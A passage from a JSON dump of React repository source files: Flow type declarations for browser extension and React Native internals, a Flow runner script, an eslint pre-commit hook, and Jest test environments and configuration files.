https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/getURL} */\n  getURL(path: string): string;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage} */\n  onMessage: ExtensionEvent<\n    (\n      message: any,\n      sender: ExtensionMessageSender,\n      sendResponse: (response: any) => void,\n    ) => any,\n  >;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onConnect} */\n  onConnect: ExtensionEvent<(port: ExtensionRuntimePort) => void>;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage} */\n  sendMessage(\n    message: any,\n    options?: {includeTlsChannelId?: boolean},\n  ): Promise<any>;\n  sendMessage(\n    extensionId: string,\n    message: any,\n    // We're making this required so that we don't accidentally call the wrong overload.\n    options: {includeTlsChannelId?: boolean},\n  ): Promise<any>;\n}\n\ninterface ExtensionTabs {\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onActivated} */\n  onActivated: ExtensionEvent<\n    (activeInfo: {\n      previousTabId: number,\n      tabId: number,\n      windowId: number,\n    }) => void,\n  >;\n}\n\ninterface ExtensionAPI {\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/action} */\n  action: ExtensionAction;\n  devtools: ExtensionDevtools;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/permissions} */\n  permissions: $FlowFixMe;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime} */\n  runtime: ExtensionRuntime;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting} */\n  scripting: $FlowFixMe;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage} */\n  storage: $FlowFixMe;\n  /** @see {@link https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs} */\n  tabs: ExtensionTabs;\n}\n\ndeclare const chrome: ExtensionAPI;\n"
  },
  {
    "path": "scripts/flow/react-native-host-hooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// libdefs cannot actually import. These are supposed to be the types imported\n// from 'react-native-renderer/src/ReactNativeTypes'\ntype __MeasureOnSuccessCallback = (\n  x: number,\n  y: number,\n  width: number,\n  height: number,\n  pageX: number,\n  pageY: number,\n) => void;\ntype __MeasureInWindowOnSuccessCallback = (\n  x: number,\n  y: number,\n  width: number,\n  height: number,\n) => void;\ntype __MeasureLayoutOnSuccessCallback = (\n  left: number,\n  top: number,\n  width: number,\n  height: number,\n) => void;\ntype __ReactNativeBaseComponentViewConfig = any;\ntype __ViewConfigGetter = any;\ntype __ViewConfig = any;\ntype __AttributeConfiguration = any;\n\n// libdefs cannot actually import. This is supposed to be the type imported\n// from 'react-native-renderer/src/legacy-events/TopLevelEventTypes';\ntype __RNTopLevelEventType = any;\n\n// libdefs cannot actually import. This is supposed to be the type imported\n// from 'react-reconciler/src/ReactCapturedValue'\ntype __CapturedError = any;\n\ntype DeepDifferOptions = {+unsafelyIgnoreFunctions?: boolean};\ntype RawEventEmitterEvent = $ReadOnly<{\n  eventName: string,\n  // We expect, but do not/cannot require, that nativeEvent is an object\n  // with the properties: key, elementType (string), type (string), tag (numeric),\n  // and a stateNode of the native element/Fiber the event was emitted to.\n  nativeEvent: {[string]: mixed, ...},\n}>;\n\ndeclare opaque type __PublicInstance;\ndeclare opaque type __PublicTextInstance;\ndeclare opaque type __PublicRootInstance;\n\ndeclare module 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface' {\n  declare export function deepDiffer(\n    one: any,\n    two: any,\n    maxDepth?: number,\n    options?: DeepDifferOptions,\n  ): boolean;\n  declare export function deepDiffer(\n    one: any,\n    two: any,\n    options: DeepDifferOptions,\n  ): boolean;\n  declare export function deepFreezeAndThrowOnMutationInDev<T>(obj: T): T;\n  declare export function flattenStyle(style: any): any;\n  declare export const RCTEventEmitter: {\n    register: (eventEmitter: mixed) => void,\n    ...\n  };\n  declare export const TextInputState: {\n    blurTextInput: (object: any) => void,\n    focusTextInput: (object: any) => void,\n    ...\n  };\n  declare export const ReactFiberErrorDialog: {\n    showErrorDialog: (error: __CapturedError) => boolean,\n    ...\n  };\n  declare export const Platform: {OS: string, ...};\n  declare export const UIManager: {\n    customBubblingEventTypes: Object,\n    customDirectEventTypes: Object,\n    createView: (\n      reactTag: number,\n      viewName: string,\n      rootTag: number,\n      props: ?Object,\n    ) => void,\n    dispatchViewManagerCommand: (\n      reactTag: number,\n      command: string,\n      args: Array<any>,\n    ) => void,\n    manageChildren: (\n      containerTag: number,\n      moveFromIndices: Array<number>,\n      moveToIndices: Array<number>,\n      addChildReactTags: Array<number>,\n      addAtIndices: Array<number>,\n      removeAtIndices: Array<number>,\n    ) => void,\n    measure: (hostComponent: mixed, callback: Function) => void,\n    measureInWindow: (nativeTag: ?number, callback: Function) => void,\n    measureLayout: (\n      nativeTag: mixed,\n      nativeNode: number,\n      onFail: Function,\n      onSuccess: Function,\n    ) => void,\n    removeRootView: (containerTag: number) => void,\n    removeSubviewsFromContainerWithID: (containerId: number) => void,\n    replaceExistingNonRootView: () => void,\n    setChildren: (containerTag: number, reactTags: Array<number>) => void,\n    updateView: (reactTag: number, viewName: string, props: ?Object) => void,\n    __takeSnapshot: (\n      view?: 'window' | Element | number,\n      options?: {\n        width?: number,\n        height?: number,\n        format?: 'png' | 'jpeg',\n        quality?: number,\n        ...\n      },\n    ) => Promise<any>,\n    setJSResponder: (reactTag: number, blockNativeResponder: boolean) => void,\n    clearJSResponder: () => void,\n    findSubviewIn: (\n      reactTag: ?number,\n      point: Array<number>,\n      callback: (\n        nativeViewTag: number,\n        left: number,\n        top: number,\n        width: number,\n        height: number,\n      ) => void,\n    ) => void,\n    ...\n  };\n  declare export const legacySendAccessibilityEvent: (\n    reactTag: number,\n    eventTypeName: string,\n  ) => void;\n  declare export const BatchedBridge: {\n    registerCallableModule: (name: string, module: Object) => void,\n    ...\n  };\n  declare export const ReactNativeViewConfigRegistry: {\n    customBubblingEventTypes: Object,\n    customDirectEventTypes: Object,\n\n    register: (name: string, callback: __ViewConfigGetter) => string,\n    get: (name: string) => __ReactNativeBaseComponentViewConfig,\n    ...\n  };\n  declare export const RawEventEmitter: {\n    emit: (channel: string, event: RawEventEmitterEvent) => string,\n    ...\n  };\n  declare export type PublicInstance = __PublicInstance;\n  declare export type PublicTextInstance = __PublicTextInstance;\n  declare export type PublicRootInstance = __PublicRootInstance;\n  declare export type MeasureOnSuccessCallback = __MeasureOnSuccessCallback;\n  declare export type MeasureInWindowOnSuccessCallback =\n    __MeasureInWindowOnSuccessCallback;\n  declare export type MeasureLayoutOnSuccessCallback =\n    __MeasureLayoutOnSuccessCallback;\n  declare export interface LegacyPublicInstance {\n    blur(): void;\n    focus(): void;\n    measure(callback: __MeasureOnSuccessCallback): void;\n    measureInWindow(callback: __MeasureInWindowOnSuccessCallback): void;\n    measureLayout(\n      relativeToNativeNode: number | LegacyPublicInstance,\n      onSuccess: __MeasureLayoutOnSuccessCallback,\n      onFail?: () => void,\n    ): void;\n    setNativeProps(nativeProps: {...}): void;\n  }\n  declare export function getNodeFromPublicInstance(\n    publicInstance: PublicInstance,\n  ): Object;\n  declare export function getNativeTagFromPublicInstance(\n    publicInstance: PublicInstance,\n  ): number;\n  declare export function createPublicInstance(\n    tag: number,\n    viewConfig: __ViewConfig,\n    internalInstanceHandle: mixed,\n    publicRootInstance: PublicRootInstance | null,\n  ): PublicInstance;\n  declare export function createPublicRootInstance(\n    rootTag: number,\n  ): PublicRootInstance;\n  declare export function createPublicTextInstance(\n    internalInstanceHandle: mixed,\n  ): PublicTextInstance;\n  declare export function getInternalInstanceHandleFromPublicInstance(\n    publicInstance: PublicInstance,\n  ): ?Object;\n  declare export function createAttributePayload(\n    props: Object,\n    validAttributes: __AttributeConfiguration,\n  ): null | Object;\n  declare export function diffAttributePayloads(\n    prevProps: Object,\n    nextProps: Object,\n    validAttributes: __AttributeConfiguration,\n  ): null | Object;\n}\n\ndeclare module 'react-native/Libraries/ReactPrivate/ReactNativePrivateInitializeCore' {\n}\n\ndeclare module 'react-native' {\n  declare export type HostInstance = __PublicInstance;\n  declare export type PublicTextInstance = __PublicTextInstance;\n  declare export type PublicRootInstance = __PublicRootInstance;\n  declare export type MeasureOnSuccessCallback = __MeasureOnSuccessCallback;\n}\n\n// eslint-disable-next-line no-unused-vars\ndeclare const RN$enableMicrotasksInReact: boolean;\n\n// This is needed for a short term solution.\n// See https://github.com/facebook/react/pull/15490 for more info\n// eslint-disable-next-line no-unused-vars\ndeclare const nativeFabricUIManager: {\n  createNode: (\n    reactTag: number,\n    viewName: string,\n    rootTag: number,\n    props: ?Object,\n    eventTarget: Object,\n  ) => Object,\n  cloneNode: (node: Object) => Object,\n  cloneNodeWithNewChildren: (\n    node: Object,\n    children?: $ReadOnlyArray<Object>,\n  ) => Object,\n  cloneNodeWithNewProps: (node: Object, newProps: ?Object) => Object,\n  cloneNodeWithNewChildrenAndProps: (\n    node: Object,\n    newPropsOrChildren: ?Object | $ReadOnlyArray<Object>,\n    newProps?: ?Object,\n  ) => Object,\n  appendChild: (node: Object, childNode: Object) => void,\n\n  createChildSet: () => Object,\n  appendChildToSet: (childSet: Object, childNode: Object) => void,\n  completeRoot: (rootTag: number, childSet: Object) => void,\n  registerEventHandler: (\n    callback: (\n      eventTarget: null | Object,\n      type: __RNTopLevelEventType,\n      payload: Object,\n    ) => void,\n  ) => void,\n  setNativeProps: (node: Object, nativeProps: Object) => Object,\n  dispatchCommand: (node: Object, command: string, args: Array<any>) => void,\n  sendAccessibilityEvent: (node: Object, eventTypeName: string) => void,\n\n  measure: (node: Object, callback: __MeasureOnSuccessCallback) => void,\n  measureInWindow: (\n    node: Object,\n    callback: __MeasureInWindowOnSuccessCallback,\n  ) => void,\n  measureLayout: (\n    node: Object,\n    relativeNode: Object,\n    onFail: () => void,\n    onSuccess: __MeasureLayoutOnSuccessCallback,\n  ) => void,\n  getBoundingClientRect: (\n    node: Object,\n  ) => [\n    /* x:*/ number,\n    /* y:*/ number,\n    /* width:*/ number,\n    /* height:*/ number,\n  ],\n  findNodeAtPoint: (\n    node: Object,\n    locationX: number,\n    locationY: number,\n    callback: (Object) => void,\n  ) => void,\n  setIsJSResponder: (\n    node: Object,\n    isJsResponder: boolean,\n    blockNativeResponder: boolean,\n  ) => void,\n  unstable_DefaultEventPriority: number,\n  unstable_DiscreteEventPriority: number,\n  unstable_ContinuousEventPriority: number,\n  unstable_IdleEventPriority: number,\n  unstable_getCurrentEventPriority: () => number,\n  applyViewTransitionName: (\n    node: Object,\n    name: string,\n    className: ?string,\n  ) => void,\n  startViewTransition: (mutationCallback: () => void) => {\n    finished: Promise<void>,\n    ready: Promise<void>,\n  },\n  ...\n};\n"
  },
  {
    "path": "scripts/flow/runFlow.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst chalk = require('chalk');\nconst {spawn} = require('child_process');\nconst fs = require('fs');\n\n// TODO: This generates all the renderer configs at once. Originally this was\n// to allow the possibility of running multiple Flow processes in parallel, but\n// that never happened. If we did, we'd probably do this in CI, anyway, and run\n// on multiple machines. So instead we could remove this intermediate step and\n// generate only the config for the specified renderer.\nrequire('./createFlowConfigs');\n\nasync function runFlow(renderer, args) {\n  return new Promise(resolve => {\n    let cmd = __dirname + '/../../node_modules/.bin/flow';\n    if (process.platform === 'win32') {\n      cmd = cmd.replace(/\\//g, '\\\\') + '.cmd';\n    }\n\n    // Copy renderer flowconfig file to the root of the project so that it\n    // works with editor integrations. This means that the Flow config used by\n    // the editor will correspond to the last renderer you checked.\n    const srcPath =\n      process.cwd() + '/scripts/flow/' + renderer + '/.flowconfig';\n    const srcStat = fs.statSync(__dirname + '/config/flowconfig');\n    const destPath = './.flowconfig';\n    if (fs.existsSync(destPath)) {\n      const oldConfig = String(fs.readFileSync(destPath));\n      const newConfig = String(fs.readFileSync(srcPath));\n      if (oldConfig !== newConfig) {\n        // Use the mtime to detect if the file was manually edited. If so,\n        // log an error.\n        const destStat = fs.statSync(destPath);\n        if (destStat.mtimeMs - srcStat.mtimeMs > 1) {\n          console.error(\n            chalk.red(\n              'Detected manual changes to .flowconfig, which is a generated ' +\n                'file. These changes have been discarded.\\n\\n' +\n                'To change the Flow config, edit the template in ' +\n                'scripts/flow/config/flowconfig. Then run this command again.\\n',\n            ),\n          );\n        }\n        fs.unlinkSync(destPath);\n        fs.copyFileSync(srcPath, destPath);\n        // Set the mtime of the copied file to be same as the original file,\n        // so that the above check works.\n        fs.utimesSync(destPath, srcStat.atime, srcStat.mtime);\n      }\n    } else {\n      fs.copyFileSync(srcPath, destPath);\n      fs.utimesSync(destPath, srcStat.atime, srcStat.mtime);\n    }\n\n    console.log(\n      'Running Flow on the ' + chalk.yellow(renderer) + ' renderer...',\n    );\n\n    spawn(cmd, args, {\n      // Allow colors to pass through:\n      stdio: 'inherit',\n    }).on('close', function (code) {\n      if (code !== 0) {\n        console.error(\n          'Flow failed for the ' + chalk.red(renderer) + ' renderer',\n        );\n        console.log();\n        process.exit(code);\n      } else {\n        console.log(\n          'Flow passed for the ' + chalk.green(renderer) + ' renderer',\n        );\n        resolve();\n      }\n    });\n  });\n}\n\nmodule.exports = runFlow;\n"
  },
  {
    "path": "scripts/flow/xplat.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndeclare module 'ReactNativeInternalFeatureFlags' {\n  declare module.exports: any;\n}\n"
  },
  {
    "path": "scripts/git/pre-commit",
    "content": "#!/bin/sh\n#\n# To enable this hook, symlink or copy this file to .git/hooks/pre-commit.\n\n# Redirect output to stderr.\nexec 1>&2\n\ngit diff --cached --name-only --diff-filter=ACMRTUB | \\\n  grep '\\.js$' | \\\n  xargs ./node_modules/.bin/eslint --\n"
  },
  {
    "path": "scripts/jest/ReactDOMServerIntegrationEnvironment.js",
    "content": "'use strict';\n\nconst ReactJSDOMEnvironment = require('./ReactJSDOMEnvironment');\nconst {TestEnvironment: NodeEnvironment} = require('jest-environment-node');\n\n/**\n * Test environment for testing integration of react-dom (browser) with react-dom/server (node)\n */\nclass ReactDOMServerIntegrationEnvironment extends NodeEnvironment {\n  constructor(config, context) {\n    super(config, context);\n\n    this.domEnvironment = new ReactJSDOMEnvironment(config, context);\n\n    this.global.window = this.domEnvironment.dom.window;\n    this.global.document = this.global.window.document;\n    this.global.navigator = this.global.window.navigator;\n    this.global.Node = this.global.window.Node;\n    this.global.addEventListener = this.global.window.addEventListener;\n    this.global.MutationObserver = this.global.window.MutationObserver;\n  }\n\n  async setup() {\n    await super.setup();\n    await this.domEnvironment.setup();\n  }\n\n  async teardown() {\n    await this.domEnvironment.teardown();\n    await super.teardown();\n  }\n}\n\nmodule.exports = ReactDOMServerIntegrationEnvironment;\n"
  },
  {
    "path": "scripts/jest/ReactJSDOMEnvironment.js",
    "content": "'use strict';\n\nconst {TestEnvironment: JSDOMEnvironment} = require('jest-environment-jsdom');\nconst {\n  setupDocumentReadyState,\n} = require('internal-test-utils/ReactJSDOMUtils');\n\n/**\n * Test environment for testing integration of react-dom (browser) with react-dom/server (node)\n */\nclass ReactJSDOMEnvironment extends JSDOMEnvironment {\n  constructor(config, context) {\n    super(config, context);\n\n    setupDocumentReadyState(this.global.document, this.global.Event);\n  }\n}\n\nmodule.exports = ReactJSDOMEnvironment;\n"
  },
  {
    "path": "scripts/jest/TestFlags.js",
    "content": "'use strict';\n\n// These flags can be in a @gate pragma to declare that a test depends on\n// certain conditions. They're like GKs.\n//\n// Examples:\n//   // @gate enableSomeAPI\n//   test('uses an unstable API', () => {/*...*/})\n//\n//   // @gate __DEV__\n//   test('only passes in development', () => {/*...*/})\n//\n// Most flags are defined in ReactFeatureFlags. If it's defined there, you don't\n// have to do anything extra here.\n//\n// There are also flags based on the environment, like __DEV__. Feel free to\n// add new flags and aliases below.\n//\n// You can also combine flags using multiple gates:\n//\n//   // @gate enableSomeAPI\n//   // @gate __DEV__\n//   test('both conditions must pass', () => {/*...*/})\n//\n// Or using logical operators\n//   // @gate enableSomeAPI && __DEV__\n//   test('both conditions must pass', () => {/*...*/})\n//\n// Negation also works:\n//   // @gate !deprecateLegacyContext\n//   test('uses a deprecated feature', () => {/*...*/})\n\n// These flags are based on the environment and don't change for the entire\n// test run.\nconst environmentFlags = {\n  __DEV__,\n  build: __DEV__ ? 'development' : 'production',\n\n  // TODO: Should \"experimental\" also imply \"modern\"? Maybe we should\n  // always compare to the channel?\n  experimental: __EXPERIMENTAL__,\n  // Similarly, should stable imply \"classic\"?\n  stable: !__EXPERIMENTAL__,\n\n  variant: __VARIANT__,\n\n  persistent: global.__PERSISTENT__ === true,\n\n  // Use this for tests that are known to be broken.\n  FIXME: false,\n  TODO: false,\n\n  enableUseJSStackToTrackPassiveDurations: false,\n};\n\nfunction getTestFlags() {\n  // These are required on demand because some of our tests mutate them. We try\n  // not to but there are exceptions.\n  const featureFlags = require('shared/ReactFeatureFlags');\n  const schedulerFeatureFlags = require('scheduler/src/SchedulerFeatureFlags');\n\n  const www = global.__WWW__ === true;\n  const xplat = global.__XPLAT__ === true;\n  const releaseChannel = www\n    ? __EXPERIMENTAL__\n      ? 'modern'\n      : 'classic'\n    : __EXPERIMENTAL__\n      ? 'experimental'\n      : 'stable';\n\n  // Return a proxy so we can throw if you attempt to access a flag that\n  // doesn't exist.\n  return new Proxy(\n    {\n      channel: releaseChannel,\n      modern: releaseChannel === 'modern',\n      classic: releaseChannel === 'classic',\n      source: !process.env.IS_BUILD,\n      www,\n      fb: www || xplat,\n\n      // These aren't flags, just a useful aliases for tests.\n      // TODO: Clean this up.\n      enableActivity: true,\n      enableSuspenseList: releaseChannel === 'experimental' || www || xplat,\n      enableLegacyHidden: www,\n      // TODO: Suspending the work loop during the render phase is currently\n      // not compatible with sibling prerendering. We will add this optimization\n      // back in a later step.\n      enableSuspendingDuringWorkLoop: false,\n\n      // This flag is used to determine whether we should run Fizz tests using\n      // the external runtime or the inline script runtime.\n      // For Meta we use variant to gate the feature. For OSS we use experimental\n      shouldUseFizzExternalRuntime: !featureFlags.enableFizzExternalRuntime\n        ? false\n        : www\n          ? __VARIANT__\n          : __EXPERIMENTAL__,\n\n      // This is used by useSyncExternalStoresShared-test.js to decide whether\n      // to test the shim or the native implementation of useSES.\n\n      enableUseSyncExternalStoreShim: !__VARIANT__,\n\n      // If there's a naming conflict between scheduler and React feature flags, the\n      // React ones take precedence.\n      // TODO: Maybe we should error on conflicts? Or we could namespace\n      // the flags\n      ...schedulerFeatureFlags,\n      ...featureFlags,\n      ...environmentFlags,\n    },\n    {\n      get(flags, flagName) {\n        const flagValue = flags[flagName];\n        if (flagValue === undefined && typeof flagName === 'string') {\n          throw Error(\n            `Feature flag \"${flagName}\" does not exist. See TestFlags.js ` +\n              'for more details.'\n          );\n        }\n        return flagValue;\n      },\n    }\n  );\n}\n\nexports.getTestFlags = getTestFlags;\n"
  },
  {
    "path": "scripts/jest/config.base.js",
    "content": "'use strict';\n\nmodule.exports = {\n  globalSetup: require.resolve('./setupGlobal.js'),\n  testSequencer: require.resolve('./sizeBalancedSequencer.js'),\n  modulePathIgnorePatterns: [\n    '<rootDir>/scripts/rollup/shims/',\n    '<rootDir>/scripts/bench/',\n    '<rootDir>/packages/eslint-plugin-react-hooks/',\n  ],\n  transform: {\n    '^.+babel-plugin-react-compiler/dist/index.js$': [\n      'babel-jest',\n      {\n        configFile: require.resolve('../../babel.config-react-compiler.js'),\n      },\n    ],\n    '^.+\\\\.ts$': [\n      'babel-jest',\n      {configFile: require.resolve('../../babel.config-ts.js')},\n    ],\n    '.(?!ts$)': require.resolve('./preprocessor.js'),\n  },\n  prettierPath: require.resolve('prettier-2'),\n  setupFiles: [require.resolve('./setupEnvironment.js')],\n  setupFilesAfterEnv: [require.resolve('./setupTests.js')],\n  // Only include files directly in __tests__, not in nested folders.\n  testRegex: '/__tests__/[^/]*(\\\\.js|\\\\.coffee|[^d]\\\\.ts)$',\n  moduleFileExtensions: ['js', 'json', 'node', 'coffee', 'ts'],\n  rootDir: process.cwd(),\n  roots: ['<rootDir>/packages', '<rootDir>/scripts'],\n  collectCoverageFrom: ['packages/**/*.js'],\n  fakeTimers: {\n    enableGlobally: true,\n    legacyFakeTimers: true,\n  },\n  snapshotSerializers: [require.resolve('jest-snapshot-serializer-raw')],\n\n  testEnvironment: '<rootDir>/scripts/jest/ReactJSDOMEnvironment',\n\n  testRunner: 'jest-circus/runner',\n};\n"
  },
  {
    "path": "scripts/jest/config.build-devtools.js",
    "content": "'use strict';\n\nconst {readdirSync, statSync} = require('fs');\nconst {join} = require('path');\nconst baseConfig = require('./config.base');\nconst devtoolsRegressionConfig = require('./devtools/config.build-devtools-regression');\n\nconst NODE_MODULES_DIR =\n  process.env.RELEASE_CHANNEL === 'stable' ? 'oss-stable' : 'oss-experimental';\n\n// Find all folders in packages/* with package.json\nconst packagesRoot = join(__dirname, '..', '..', 'packages');\nconst packages = readdirSync(packagesRoot).filter(dir => {\n  if (dir.charAt(0) === '.') {\n    return false;\n  }\n  if (dir.includes('react-devtools')) {\n    return false;\n  }\n  if (dir === 'internal-test-utils') {\n    // This is an internal package used only for testing. It's OK to read\n    // from source.\n    // TODO: Maybe let's have some convention for this?\n    return false;\n  }\n  const packagePath = join(packagesRoot, dir, 'package.json');\n  let stat;\n  try {\n    stat = statSync(packagePath);\n  } catch (err) {\n    return false;\n  }\n  return stat.isFile();\n});\n\n// Create a module map to point React packages to the build output\nconst moduleNameMapper = {};\n\nmoduleNameMapper['react-devtools-feature-flags'] =\n  '<rootDir>/packages/react-devtools-shared/src/config/DevToolsFeatureFlags.default';\n\n// Map packages to bundles\npackages.forEach(name => {\n  // Root entry point\n  moduleNameMapper[`^${name}$`] = `<rootDir>/build/${NODE_MODULES_DIR}/${name}`;\n  // Named entry points\n  moduleNameMapper[`^${name}\\/([^\\/]+)$`] =\n    `<rootDir>/build/${NODE_MODULES_DIR}/${name}/$1`;\n});\n\n// Allow tests to import shared code (e.g. feature flags, getStackByFiberInDevAndProd)\nmoduleNameMapper['^shared/([^/]+)$'] = '<rootDir>/packages/shared/$1';\nmoduleNameMapper['^react-reconciler/([^/]+)$'] =\n  '<rootDir>/packages/react-reconciler/$1';\n\nmodule.exports = Object.assign({}, baseConfig, {\n  // Redirect imports to the compiled bundles\n  moduleNameMapper: {\n    ...devtoolsRegressionConfig.moduleNameMapper,\n    ...moduleNameMapper,\n  },\n  // Don't run bundle tests on -test.internal.* files\n  testPathIgnorePatterns: ['/node_modules/', '-test.internal.js$'],\n  // Exclude the build output from transforms\n  transformIgnorePatterns: [\n    '/node_modules/(?!(rbush|quickselect)/)',\n    '<rootDir>/build/',\n    '/__compiled__/',\n    '/__untransformed__/',\n  ],\n  testRegex: 'packages/react-devtools(-(.+))?/.+/__tests__/[^]+.test.js$',\n  snapshotSerializers: [\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/dehydratedValueSerializer.js'\n    ),\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/hookSerializer.js'\n    ),\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/inspectedElementSerializer.js'\n    ),\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/profilingSerializer.js'\n    ),\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/storeSerializer.js'\n    ),\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/timelineDataSerializer.js'\n    ),\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/treeContextStateSerializer.js'\n    ),\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/__serializers__/numberToFixedSerializer.js'\n    ),\n  ],\n  setupFiles: [\n    ...baseConfig.setupFiles,\n    ...devtoolsRegressionConfig.setupFiles,\n    require.resolve('./setupTests.build.js'),\n    require.resolve('./devtools/setupEnv.js'),\n  ],\n  setupFilesAfterEnv: [\n    require.resolve(\n      '../../packages/react-devtools-shared/src/__tests__/setupTests.js'\n    ),\n  ],\n});\n"
  },
  {
    "path": "scripts/jest/config.build.js",
    "content": "'use strict';\n\nconst {readdirSync, statSync} = require('fs');\nconst {join} = require('path');\nconst baseConfig = require('./config.base');\n\nprocess.env.IS_BUILD = true;\n\nconst NODE_MODULES_DIR =\n  process.env.RELEASE_CHANNEL === 'stable' ? 'oss-stable' : 'oss-experimental';\n\n// Find all folders in packages/* with package.json\nconst packagesRoot = join(__dirname, '..', '..', 'packages');\nconst packages = readdirSync(packagesRoot).filter(dir => {\n  if (dir === 'internal-test-utils') {\n    // This is an internal package used only for testing. It's OK to read\n    // from source.\n    // TODO: Maybe let's have some convention for this?\n    return false;\n  }\n  if (dir.charAt(0) === '.') {\n    return false;\n  }\n  const packagePath = join(packagesRoot, dir, 'package.json');\n  let stat;\n  try {\n    stat = statSync(packagePath);\n  } catch (err) {\n    return false;\n  }\n  return stat.isFile();\n});\n\n// Create a module map to point React packages to the build output\nconst moduleNameMapper = {};\n\n// Allow bundle tests to read (but not write!) default feature flags.\n// This lets us determine whether we're running in different modes\n// without making relevant tests internal-only.\nmoduleNameMapper['^shared/ReactFeatureFlags'] =\n  `<rootDir>/packages/shared/forks/ReactFeatureFlags.readonly`;\n\n// Map packages to bundles\npackages.forEach(name => {\n  // Root entry point\n  moduleNameMapper[`^${name}$`] = `<rootDir>/build/${NODE_MODULES_DIR}/${name}`;\n  // Named entry points\n  moduleNameMapper[`^${name}\\/([^\\/]+)$`] =\n    `<rootDir>/build/${NODE_MODULES_DIR}/${name}/$1`;\n});\n\nmoduleNameMapper['use-sync-external-store/shim/with-selector'] =\n  `<rootDir>/build/${NODE_MODULES_DIR}/use-sync-external-store/shim/with-selector`;\nmoduleNameMapper['use-sync-external-store/shim/index.native'] =\n  `<rootDir>/build/${NODE_MODULES_DIR}/use-sync-external-store/shim/index.native`;\n\nmodule.exports = Object.assign({}, baseConfig, {\n  // Redirect imports to the compiled bundles\n  moduleNameMapper,\n  modulePathIgnorePatterns: [\n    ...baseConfig.modulePathIgnorePatterns,\n    'packages/react-devtools-extensions',\n    'packages/react-devtools-shared',\n  ],\n  // Don't run bundle tests on -test.internal.* files\n  testPathIgnorePatterns: ['/node_modules/', '-test.internal.js$'],\n  // Exclude the build output from transforms\n  transformIgnorePatterns: ['/node_modules/', '<rootDir>/build/'],\n  setupFiles: [\n    ...baseConfig.setupFiles,\n    require.resolve('./setupTests.build.js'),\n  ],\n});\n"
  },
  {
    "path": "scripts/jest/config.source-persistent.js",
    "content": "'use strict';\n\nconst baseConfig = require('./config.base');\n\nmodule.exports = Object.assign({}, baseConfig, {\n  modulePathIgnorePatterns: [\n    ...baseConfig.modulePathIgnorePatterns,\n    'packages/react-devtools-extensions',\n    'packages/react-devtools-shared',\n    'ReactIncrementalPerf',\n    'ReactIncrementalUpdatesMinimalism',\n    'ReactIncrementalTriangle',\n    'ReactIncrementalReflection',\n    'forwardRef',\n  ],\n  setupFiles: [\n    ...baseConfig.setupFiles,\n    require.resolve('./setupTests.persistent.js'),\n    require.resolve('./setupHostConfigs.js'),\n  ],\n});\n"
  },
  {
    "path": "scripts/jest/config.source-www.js",
    "content": "'use strict';\n\nconst baseConfig = require('./config.base');\n\nmodule.exports = Object.assign({}, baseConfig, {\n  modulePathIgnorePatterns: [\n    ...baseConfig.modulePathIgnorePatterns,\n    'packages/react-devtools-extensions',\n    'packages/react-devtools-shared',\n  ],\n  setupFiles: [\n    ...baseConfig.setupFiles,\n    require.resolve('./setupTests.www.js'),\n    require.resolve('./setupHostConfigs.js'),\n  ],\n});\n"
  },
  {
    "path": "scripts/jest/config.source-xplat.js",
    "content": "'use strict';\n\nconst baseConfig = require('./config.base');\n\nmodule.exports = Object.assign({}, baseConfig, {\n  modulePathIgnorePatterns: [\n    ...baseConfig.modulePathIgnorePatterns,\n    'packages/react-devtools-extensions',\n    'packages/react-devtools-shared',\n    'ReactIncrementalPerf',\n    'ReactIncrementalUpdatesMinimalism',\n    'ReactIncrementalTriangle',\n    'ReactIncrementalReflection',\n    'forwardRef',\n  ],\n  // RN configs should not run react-dom tests.\n  // There are many other tests that use react-dom\n  // and for those we will use the www entrypoint,\n  // but those tests should be migrated to Noop renderer.\n  testPathIgnorePatterns: [\n    'node_modules',\n    'packages/react-dom',\n    'packages/react-server-dom-webpack',\n  ],\n  setupFiles: [\n    ...baseConfig.setupFiles,\n    require.resolve('./setupTests.xplat.js'),\n    require.resolve('./setupHostConfigs.js'),\n  ],\n});\n"
  },
  {
    "path": "scripts/jest/config.source.js",
    "content": "'use strict';\n\nconst baseConfig = require('./config.base');\n\nmodule.exports = Object.assign({}, baseConfig, {\n  modulePathIgnorePatterns: [\n    ...baseConfig.modulePathIgnorePatterns,\n    'packages/react-devtools-extensions',\n    'packages/react-devtools-shared',\n  ],\n  setupFiles: [\n    ...baseConfig.setupFiles,\n    require.resolve('./setupHostConfigs.js'),\n  ],\n});\n"
  },
  {
